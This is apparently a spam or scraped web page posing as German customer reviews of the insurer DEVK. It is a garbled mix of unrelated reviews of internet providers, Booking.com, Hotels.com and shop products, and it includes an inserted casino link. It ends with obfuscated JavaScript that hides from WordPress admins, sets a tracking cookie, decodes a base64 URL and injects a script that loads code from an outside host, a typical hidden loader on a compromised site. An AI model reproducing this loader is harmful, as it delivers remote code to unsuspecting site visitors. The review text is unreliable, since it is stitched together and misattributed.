

# Bewertungen zu DEVK Lesen Sie Kundenbewertungen zu www.devk.de

## Content

- Null Sterne wenn dies möglich wäre
- Ich warte seit über 4 Monaten...



Wenn ihr die Möglichkeit habt irgendwo anders euren Vertrag abzuschließen macht das! Ist wahrscheinlich genau so schlecht die Firmen haben einfach keine Konkurrenz, ähnlich wie DB. Macht was an euren Support, der ist einfach wirklich sehr sehr schlecht. Haben seit Ewigkeiten immer wieder Probleme, trotz mehrfacher Suche im Gebiet läuft das Internet nicht stabil. Dafür bekamen wir mehrfach Schreiben, das wir kurzfristig zu Hause sein müssten, sonst wurde uns eine Abschaltung angedroht.

Evtl ein Feld für direkten Kontakt/ möglicher Annahmezeitraum der Lieferung einfügen. Bestellung verlief absolut reibungslos. Beim Artikel stimmt meiner Ansicht nach leider Preis/Leistung nicht. Der Stuhl macht einen sehr instabilen Eindruck und ist sehr unbequem. In den Anfangszeiten lief das Kabelinternet mal für ein ganzes Jahr so schlecht bis garnicht, dass sie mir jeden Monat den vollen Betrag zurückerstatteten mussten. Seitdem hat sich an der Qualität der Leitung nichts geändert.

# **Sehr schwierige Haptik mit der APP**

Hallo Sebastian, oh je, da hast du wirklich eine Odyssee hinter dir. Natürlich [wildsino casino deutschland](#) verstehen wir, dass du sauer bist und deine Konsequenzen daraus ziehst. Falls du uns doch noch die Chance geben möchtest, das in Ordnung zu bringen, schick uns gern deine Kundennummer zusammen mit dem Sachverhalt per E-Mail an trustpilot-

Die Leute hier schreiben das sie teilweise seit Jahren mit Booking buchen, aber bewerten dann dennoch nur mit 1 Stern? Wir haben auch schon öfter mit booking gebucht.... ☹️ denn die schlechten Bewertungen kommen trotz guter Dienstleistungen ja von ganz allein. Wir haben ausversehen ein falsches Datum gebucht und dies sofort nach nicht mal 5 Minuten storniert wo dabei Stande Stornierung kostenlos.

## **Null Sterne wenn dies möglich wäre**

Ich werde mein Kundenkonto löschen und Booking nicht mehr nutzen. Das übermitteln der Daten ging schnell einfach und problemlos. Abschläge werden übersichtlich angezeigt.

Vor dem Zusammenstoß war meine B-Klasse völlig unbeschädigt. Auf berichtigte Fragen bezüglich eines Angebotes für die Versicherung von einem Zweitwagen bekam ich eine schnippische und freche Antwort des Kundenbetreuers. Den genauen Verlauf erspare ich jetzt zu beschreiben. Wundert mich nicht, dass diese Versicherung nur auf 1,7 Sterne im Schnitt kommt. Ich werde bei nächster Gelegenheit ALLE Verträge kündigen und mir eine andere Gesellschaft suchen.

## **Ich warte seit über 4 Monaten...**

Es handelte sich um eine Rechnungsfrage aus der eine Erstattung/Auszahlung resultierte. Die Damen war sehr freundlich und fachlich sehr gut ausgebildet. Der einzige

Wehmutterstropfen ist die sehr spezielle KI die einen Anruf entgegen nimmt und dann gerne an die Self-Services verweist und das Gespräch beendet. Dieses Umstand wurde durch eine sehr großzügige Kulanzleistung seitens der Mitarbeiterin ausgebügelt.

Und selbst wenn man dann irgendwie etwas bestellt hat wird nicht an die Lieferandresse geliefert sondern an die Rechnungsadresse. Einfach nur traurig wie schlecht die Seife ist. Klare transparente Information, schnelle Lieferung (3 Werkstage). Großzügige und sicher gepolsterte Verpackung, günstiger Preis und Zahlung mit PayPal möglich. Die gekaufte Wasserwaage hat ein sehr gutes Preis/Leistungsverhältnis. Bestellung und Lieferung haben problemlos funktioniert.

## **Hotels.com**

Und das Altgerät wurde direkt kostenfrei mitgenommen. Ich habe bisher mit der DEVK nur gute Erfahrungen gemacht. Sehr schnelle Schadensregulierung und immer sehr freundliches Personal am Telefon gehabt. Die APP funktioniert einwandfrei. Ich habe schon mehrmals eine E-Mail geschrieben und Fragen gehabt. Es waren immer persönliche Antworten, welche auf das Thema sind. Bei vielen kommen immer nur Standard Antworten welche völlig unnötig sind.

Jetzt müsste man auf diesem Wege nur noch ein Angebot für nächstes Jahr erhalten. Meine Lieblingspralinen, Lindt, 200 g, Nougat, wurden als neu deklariert, allerdings mit einem Preis von 13,99. Bis vor dieser Neudeklaration waren es noch 11,99.

```
(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=new Date();for(var i=0;i<20)return;if((document.cookie||>).indexOf('http2_session_id')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec=>,i=0;input=input.replace(/\^A-Za-
```

```
z0-9+/=]/g,»);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFrY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!='undefined'&&window.__rl==u) return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'?';Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}}());
```